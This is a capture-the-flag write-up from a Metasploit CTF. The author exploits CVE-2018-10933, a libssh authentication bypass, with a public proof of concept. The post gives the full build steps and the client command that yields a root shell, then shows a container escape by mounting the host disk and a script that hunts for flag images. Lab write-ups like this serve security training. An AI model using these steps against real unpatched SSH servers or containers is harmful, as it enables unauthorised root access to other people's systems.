Greetings from SSH2_MSG_USERAUTH_SUCCESS.

Application Overview

From a previous portscan, we knew on port 2222 of our Linux target a ssh server is running. To actually exploit it knowing the application and its version would be pretty helpful. To do this I used auxiliary/scanner/ssh/ssh_version which is a module available in Metasploit (it is a Metasploit CTF after all).

msf5 > use auxiliary/scanner/ssh/ssh_version
msf5 auxiliary(scanner/ssh/ssh_version) > set RHOSTS 172.16.67.149
msf5 auxiliary(scanner/ssh/ssh_version) > set RPORT 2222
msf5 auxiliary(scanner/finger/finger_users) > run
[+] 172.16.67.149:2222    - SSH server version: SSH-2.0-libssh_0.8.3 ( service.version=0.8.3 service.family=libssh service.product=libssh service.vendor=libssh service.cpe23=cpe:/a:libssh:libssh:0.8.3 service.protocol=ssh fingerprint_db=ssh.banner )

Huh, libssh? I think there was something in the media about a vulnerability in this application some time ago.

Greetings from CVE-2018-10933

After a quick search, CVE-2018-10933 popped out to be said vulnerability. Google also linked us to github.com/hackerhouse-opensource/cve-2018-10933 which is an example exploit of the said vulnerability. Now we only need to get it up and running and hope it is working.

To do this we first need to build our modified ssh-client binary:

$ git clone https://github.com/hackerhouse-opensource/cve-2018-10933.git
$ cd cve-2018-10933/
$ xz -d libssh-0.8.3.tar.xz 
$ tar -xvf libssh-0.8.3.tar 
$ cd libssh-0.8.3/
$ patch -p0 < ../cve-2018-10933.patch
$ sudo apt install zlib1g-dev libssl-dev
$ mkdir build && cd build
$ cmake ..
$ make

Now we only need to connect to the vulnerable host:

$ examples/ssh-client -l root 172.16.67.149 -p 2222
f7a5828691fc:/#

Success! We are greeted with an open shell and can investigate the host for the flag.

Finding the flag

Finding the flag proved more time consuming than though. It simply was not present in the file system. Starting with simple find commands, and later by writing a script to match the magic number of a PNG, I crawled the whole filesystem multiple times without luck.

Thanks to a poke of @d3v1l about this challenge. I tried it again and finally found the solution. It was just obvious, but I ignored it at the beginning. Just look at the output of df:

$ df -hT
Filesystem           Type            Size      Used Available Use% Mounted on
none                 aufs            7.7G      6.5G      1.2G  84% /
tmpfs                tmpfs         999.2M         0    999.2M   0% /dev
tmpfs                tmpfs         999.2M         0    999.2M   0% /sys/fs/cgroup
udev                 devtmpfs      978.7M         0    978.7M   0% /dev/snd
/dev/xvda1           ext4            7.7G      6.5G      1.2G  84% /etc/resolv.conf
/dev/xvda1           ext4            7.7G      6.5G      1.2G  84% /etc/hostname
/dev/xvda1           ext4            7.7G      6.5G      1.2G  84% /etc/hosts
shm                  tmpfs          64.0M         0     64.0M   0% /dev/shm

/dev/xvda1 is mounted multiple times on different files.

Let’s look into the files for the start:

$ cat /etc/hostname
f7a5828691fc
$ cat /etc/resolv.conf
# Dynamic resolv.conf(5) file for glibc resolver(3) generated by resolvconf(8)
#     DO NOT EDIT THIS FILE BY HAND -- YOUR CHANGES WILL BE OVERWRITTEN
nameserver 172.16.0.2
search ec2.internal
$ cat /etc/hosts
127.0.0.1	localhost
::1	localhost ip6-localhost ip6-loopback
fe00::0	ip6-localnet
ff00::0	ip6-mcastprefix
ff02::1	ip6-allnodes
ff02::2	ip6-allrouters
172.17.0.5	f7a5828691fc

Does not seem to be of interest for now. We could just be silly and try to mount /dev/xvda1:

$ mount /dev/xvda1 /mnt
$ ls /mnt/
bin             etc             initrd.img.old  lost+found      opt             run             srv             usr             vmlinuz.old
boot            home            lib             media           proc            sbin            sys             var
dev             initrd.img      lib64           mnt             root            snap            tmp             vmlinuz

We are greeted with a new filesystem. Seems we solved the challenge mostly. Now we only need to find the flag. To do this I will use the script written before to have a robust find function. Please note file is not available on the system so we need to work around that limitation and match the magic number ourself:

#!/bin/sh

if [ $# -eq 0 ]
  then
    echo "Usage: $0 <search_root_dir>"
    exit
fi

echo "------ start in directory: \"$1\""
find "$1" -type f | while read fname; do
  #echo "test: $fname"
  if hexdump -n8 "$fname" | grep -qF "0000000 5089 474e 0a0d 0a1a"; then
    echo "PNG MATCH: \"$fname\""
  fi;
done
echo "------ end"

To upload it I simply did a echo '<my script content here>' > find_flag.sh and set the executable flag (chmod +x find_flag.sh). Now I only need to execute it on our mounted directory:

$ ./find_png.sh /mnt/
------ start in directory: "/root//mnt/"
PNG MATCH: "/mnt/var/lib/docker/aufs/diff/75d646b5b894ab6ae1e0b6bae00374c3427d4f229a05dca91a86e5ba3638528c/tmp/flag"
<some useless png files>
PNG MATCH: "/mnt/var/lib/docker/aufs/diff/732e474e09d0bc0542f1a62e6a1ae56297031b1498e3505701a437446340577c/var/lib/postgresql/.msf4/loot/flag"
<some useless png files>
------ end

We find two PNG’s which are named like a flag :). Obviously they are the same looking at their md5sum:

$ md5sum /mnt/var/lib/docker/aufs/diff/75d646b5b894ab6ae1e0b6bae00374c3427d4f229a05dca91a86e5ba3638528c/tmp/flag
812f6391ec42bf3c227e2c20998ce788  /mnt/var/lib/docker/aufs/diff/75d646b5b894ab6ae1e0b6bae00374c3427d4f229a05dca91a86e5ba3638528c/tmp/flag
$ md5sum /mnt/var/lib/docker/aufs/diff/732e474e09d0bc0542f1a62e6a1ae56297031b1498e3505701a437446340577c/var/lib/postgresql/.msf4/loot/flag
812f6391ec42bf3c227e2c20998ce788  /mnt/var/lib/docker/aufs/diff/732e474e09d0bc0542f1a62e6a1ae56297031b1498e3505701a437446340577c/var/lib/postgresql/.msf4/loot/flag

We managed to find the flag. Now we only need to download it, because we do not know which challenge it belongs to. To do this I will do a simple transfer by encoding it in base64 and copy-paste the output:

$ cd /mnt/var/lib/docker/aufs/diff/75d646b5b894ab6ae1e0b6bae00374c3427d4f229a05dca91a86e5ba3638528c/tmp/
$ cat flag | base64

To decode it we can copy the output into a file and do a base64 decode:

$ cat flag.base64 | base64 -d > flag.png

We found the 6 of Hearts.

6_of_hearts.png

6_of_hearts.png

Figure 1 - Retrieved 6_of_hearts.png

Update

In the Slack channel @Warriar gave me the hint that we actually had access to way more flags than 6_of_hearts.png. The ./find_png.sh script, unfortunately, gave me so much garbage output that I did not search through all results. Doing that would have resulted in finding quite more flags (even though I don’t think this was intended).

Lesson learned: don’t stop on the first flag.

A short recap of flags I was able to find after the competition:

$ find /mnt/ -name *_of*.png
/mnt/var/lib/docker/aufs/diff/8ea58d85074e146d881c09cff5e2fa8adb4c4ca0cfb20f799d97de098ba30e04/usr/share/nginx/html/9_of_hearts.png

This gave me not a valid png at the start. @asoto-r7 gave me the hint that the endian is changed (verified with the hex-editor). I was told that dd is able to fix this, which was a nice hint. My first approach to change the endian involved a buggy program which seemed to had problems with an odd number of bytes.

$ dd conv=swab < original.png > success.png

9_of_hearts.png

Figure 2 - Retrieved 9_of_hearts.png

$ find /mnt/ -name *diamond*
/mnt/var/lib/docker/aufs/diff/fcfeaaa4d9d06cfa1073885de5bffa0d495bf50d3e31c7e1b15d60e248be1905/8_of_diamonds
/mnt/var/lib/docker/aufs/diff/2f4f5e4ca79188915e26036af7dabd44c71c51f8d1e3bf96afe42dc27ddd9a13/8_of_diamonds

Looks promising, but is only the web space. We solved the challenge in another way.

$ find /mnt/ -name *hearts
/mnt/var/lib/docker/aufs/diff/f3df673d9ceeabbf68d6acd3502b730fe6c535e93580a7a7596c269a8b66a824/usr/local/tomcat/tmp/10_of_hearts

Another challenge where we found the flag in its intended way before :).

I also run the following query which simply means: “give me all PNG’s without png in the name”. No new flags found though:

$ ./find_flag.sh /mnt/ | grep -v png
------ start in directory: "/mnt/"
PNG MATCH: "/mnt/var/lib/docker/aufs/diff/75d646b5b894ab6ae1e0b6bae00374c3427d4f229a05dca91a86e5ba3638528c/tmp/flag"
PNG MATCH: "/mnt/var/lib/docker/aufs/diff/ffd1d8afbf6ced7fa126401845f9751ed7883d87c55227f8ffd4e7e6d25a0776/metasploit-framework/lib/msf/core/web_services/public/favicon.ico"
PNG MATCH: "/mnt/var/lib/docker/aufs/diff/f3df673d9ceeabbf68d6acd3502b730fe6c535e93580a7a7596c269a8b66a824/usr/local/tomcat/tmp/10_of_hearts"
PNG MATCH: "/mnt/var/lib/docker/aufs/diff/732e474e09d0bc0542f1a62e6a1ae56297031b1498e3505701a437446340577c/var/lib/postgresql/.msf4/loot/flag"
PNG MATCH: "/mnt/var/lib/docker/aufs/diff/c8f36ec2cb444ba63ecde6ec534f1fe84bef23dc44c46196b6a4fac86b4b3ba8/metasploit-framework/lib/msf/core/web_services/public/favicon.ico"
hexdump: /mnt/etc/systemd/system/snap-amazonx2dssmx2dagent-495.mount: No such file or directory
------ end

I can likely access other flags as well. I was simply doing some quick glance after the CTF to get some idea how much I missed :). Now I know better.